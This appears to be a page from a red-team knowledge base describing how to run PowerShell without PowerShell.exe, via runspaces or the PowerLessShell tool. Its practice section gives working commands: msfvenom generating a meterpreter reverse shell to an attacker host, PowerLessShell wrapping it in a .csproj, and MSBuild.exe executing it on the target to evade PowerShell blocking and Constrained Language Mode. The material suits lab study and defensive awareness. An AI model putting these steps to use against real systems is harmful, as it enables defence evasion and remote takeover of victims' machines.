githubEdit

Powershell Without Powershell.exe

Theory

PowerShell.exe primarily serves as a graphical interface for handling input and output, while the core functionality resides in the managed DLL System.Management.Automation.dllarrow-up-right. This DLL is responsible for creating and managing runspaces, which serve as isolated execution environments for PowerShell commands and scripts.

Since runspacesarrow-up-right operate independently of PowerShell.exe, we can create a custom program to establish and control a runspace, allowing us to execute PowerShell code outside the standard PowerShell interface.

Alternatively, projects like NoPowerShellarrow-up-right completely reimplements common cmdlets in C#, bypassing the need for PowerShell.exe or System.Management.Automation.dll.

If you encounter a scenario where PowerShell.exe is blocked or Constrained Language Modearrow-up-right is enforced, but no strict application whitelisting is in place, alternative execution methods can still enable PowerShell execution.

Practice

PowerLessShellarrow-up-right is a Python-based tool that generates malicious code to run on a target machine without showing an instance of the PowerShell process. PowerLessShell relies on abusing the Microsoft Build Engine (MSBuild), a platform for building Windows applications, to execute remote code.

#Generate a malisious powershell script
v4resk@kali$ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=AttackBox_IP LPORT=4443 -f psh-reflection > liv0ff.ps1

#Generate a .csproj with PowerLessShell
v4resk@kali$ python2 PowerLessShell.py -type powershell -source /tmp/liv0ff.ps1 -output liv0ff.csproj

#Execute it on the target with MSBuild.exe
C:\Users\thm> c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\liv0ff.csproj

Resources

Last updated